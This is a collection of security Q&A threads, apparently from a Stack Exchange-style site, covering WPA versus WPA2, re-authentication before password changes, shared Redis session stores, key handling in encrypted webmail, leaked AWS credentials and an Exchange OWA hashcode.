The point being, that given enough attention and effort, anyone can be tracked.  There's always some leak of information somewhere, given enough time.  Most recently Ross Ulbricht (creator of The Silk Road) was caught,not long ago Bin Laden was caught, and in the 1990s Unabomber Ted Kazinski was caught.  All of these people carried out remote crimes and thought themselves to be invulnerable, but all were eventually tracked down from flaws in their own stealth.


WPA significantly less secure than WPA2? I understand at least theoretically WPA2 is more secure than WPA, but in practice does it make any difference which one you use? From what I know there are no known attacks for either except for dictionary attacks, in which case if you are using WPA or WPA2 it is the same.

What about specific implementations? Have there been attacks against particular routers or AP's for either WPA or WPA2?

Basically, at the moment, is WPA just as practically secure as WPA2?

Timing attacks against WPA TKIP have been successfull: http://www.itworld.com/security/57285/once-thought-safe-wpa-wi-fi-encryption-cracked

Also curtusy of @Iszi Japanese researchers in 2009 published a paper saying that they had been able to decrypt WPA-TKIP traffic:
http://pcworld.about.net/od/securit1/New-Attack-Cracks-Common-Wi-Fi.htm

If you are using WPA - AES no practical difference as you say other than bruteforcing or guessing password. Although unless you need it for backward compatibility why not use WPA2?


Why do we ask for a user's existing password when changing their password? In a web applications context, when a user wants to change their current password, generally they would have to enter their current password first. However at this point, the user has already been authenticated using their current password to log in.

I somewhat understand the existing password is required to prevent malicious users (who may access the current session on the user's machine) from changing the password. However can't this argument be used in any situation? Why not ask for the password every time a request for sensitive information is made? How is the act of changing a password any different?

If a user leaves their computer unattended for a few minutes (while logged in), we don't want someone else to be able to walk by and quickly change their password.  For one thing, this would allow the attacker to change the associated email address, too, and now the legitimate owner is never getting his/her account back.

For another thing, just think of the potential for office pranks!

Changing your password is a sensitive enough operation that it makes sense to require the user to re-authenticate.  And, since changing your password is a relatively rare operation, this doesn't introduce much inconvenience for users: it only changes the user experience in the rare cases where you change your password.


Is it safe to store session state of different apps in single Redis cluster? We have "web app as a service" offering. And right now each app has its Redis which stores session data.
Is it secure if we use one redis cluster for all clients using this app.
To be clear not users of a single app, multiple different apps used by multiple users.
EDIT:
I should not use cluster term here. The basic idea is that I want to use single cluster for session store for multiple different web apps that are independent one from another.
Similar like we use database for multiple independent databases.

Is it secure if we use one redis cluster for all clients using this app

The cluster will get you:

The ability to automatically split your dataset among multiple nodes.

The ability to continue operations when a subset of the nodes are experiencing failures or are unable to communicate with the rest of the cluster.

This makes the risk related to availability from CIA triad less. But, if the vulnerability/weakness exists with the application operating on database cluster or If the port accepting connection for redis is out in open, then the database consisting the data of multiple user for separate application may compromise. Also make sure you follow security advisory for the scaling, for example, if you are using twitter's nutcracker for horizontal scaling, make sure you go through security advisory.


How does this encrypted webmails works? In the last days I was looking on Tutanota, ProtonMail, LavaBoom, and others webmails that promise to respect users privacy. For all those, the one I most liked was Tutanota.

I did few tests with this one, sending e-mail for some account outside it, what I saw was: It encrypts a symmetric key  with a chosen password, and sends a link for the recipient e-mail address. Ok, but if I change the password for another message, it keeps decrypting the old ones with the new password. I asked them and they told me that 'indirections' are used.

My question is: let's suppose we have hybrid encryption on all this e-mails (when communicating between them, for example: tutanota sender/tutanota recipient), it's encrypted with AES random key, and the random key is encrypted with the recipienr's RSA public key.

They can encrypt the RSA private key, with user password, the user will be able to change this password, they will just re-encrypt the RSA private key with the new password, but the key will be the same. When user log-in, they send the encrypted key to the user, and the user decrypts it with the secret password, on JavaScript only.

But the entire scheme still depending the same RSA key, time after time, even when user change his password. If this key, sometime gets compromised, the user cannot fix his problem just changing his password, right? If things are like this, I believe that this is a implementation problem (maybe just a concept problem), because if the system grows up, and have 100 millions users, and become a standard, in some years RSA 1024/2048, what they should use right now, will become overdue and easily crackable. The millions of users will have millions of data encrypted with overdue encryption, and they will need to re-encrypt everything.

I'm missing some point, or this will happen?
I know that every encryption will become overdue in the future as the processing power increases. But most of the systems, can easily update their encryption and make the new algorithm the standard for the entire system, this is not the case of a webmail system.

I'm unfamiliar with the details of the systems you specify but understand email encryption in general. Once a message is encrypted, the system cannot re-encrypt it with a stronger algorithm without user intervention as the system can't decrypt the email to re-encrypt it. So you're email is frozen in time in terms of the encryption that was used.

Even if the system did re-encrypt the emails with user help, that doesn't guarantee security as the encrypted email can have had many copies made of it that can't be retroactively re-encrypted.

In fact, your concern about emails becoming insecure as stronger processing power becomes available is true for all encryption. Consider an SSL connection between a browser and a website. If I could record all of the traffic and was really patient, I could come back with my wizzy-fast quantum-plus whatever processor and decrypt it quickly. Given enough time, my password safe will become hackable and SHA-512 will be easy to crack.

The solution is that cryptographers have crystal balls (or at least they pretend to) that allow them to predict how fast computing power is likely to be N-years from now. When determining what crypto algorithm to use, one is selected that will be secure for at least as many years as the data is expected to continue to be sensitive.

Some assumptions are made here that may or may not be true:

Cryptographers can predict processing power. This is made easier by the fact that they don't need to be accurate. They only need to figure out the worst case for increase in processing power.
Data becomes less sensitive over time. If the data is always going to be sensitive then you are going to need to do more than just encryption to secure it. For example, encrypt it and never put it on a public network and burn the computers that handled it when you're done.
The strength of a crypto algorithm is accurate. Unfortunately, sometimes crypto algorithms are less secure than we think and cracks can be found that require less computing resources than a brute-force attack.

As an example of this timeout, this statement is made about 3DES:

  This is not currently practical and NIST considers keying option 1 to be appropriate through 2030

This is why 3DES is considered weak encryption. 2030 is just too soon to be interesting.

So no crypto lasts forever. Secure email is just one example of this.


Should I expose AWS Credentials on github? Before you screen "No, never!", please read on :)

Question:
Is hard-coding IAM creds with extremely restricted permissions (only GET requests to s3) ok? I realize that there are other ways, but they all involve a good amount of work and in my head this is not much different from a public ftp server.

Background / Project Requirements:

Open Source Project (eventually), so lots of different people working on and setup complexity should preferably be low
File processing that heavily relies on AWS.s3() module (nodejs)
Requests are recorded and then mocked to improve test run speed
Different requests need to be made against the same set of files on s3 (e.g. requesting partial data, reading headers).
New files are added automatically, existing files do not change

Note:
Since we need to use AWS.s3(), making the s3 bucket public doesn't help since authentication is always required.

Apart from this being a bad idea in general (see comments on question), also a bad idea because aws will restrict your account once they find out.

Resolution process is time intensive and plenty of work as you need to change all credentials on your account, no matter the permissions of the leaked creds :)


What is the purpose of the hashcode used in Exchange OWA HTTP requests? This blog describes the URLs that are used in OWA and webservices.  It also says that there is a hashcode that is used in conjunction with the throttling policy.

Is this hashcode responsible for "securing" the throttling policy, and its current values for later processing by a CAS server?

What format is this hashcode?  (is it MD5, SHA1, etc?)

My (wild) guess is that the "hashcode" is just a reference key used by whatever system enforces the throttling, to quickly locate in an internal database (which could be an in-RAM hash table) the entry which keeps track of the "budget" allocated to each entity. Thus not a cryptographic hash at all.